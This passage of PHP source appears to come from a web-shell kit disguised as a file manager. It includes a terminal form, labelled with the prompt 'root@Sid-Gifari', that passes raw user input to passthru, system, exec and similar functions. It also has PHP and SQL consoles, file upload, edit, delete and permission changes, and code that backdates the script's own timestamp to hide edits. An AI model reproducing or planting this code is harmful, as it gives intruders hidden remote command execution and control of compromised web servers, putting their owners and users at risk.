'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
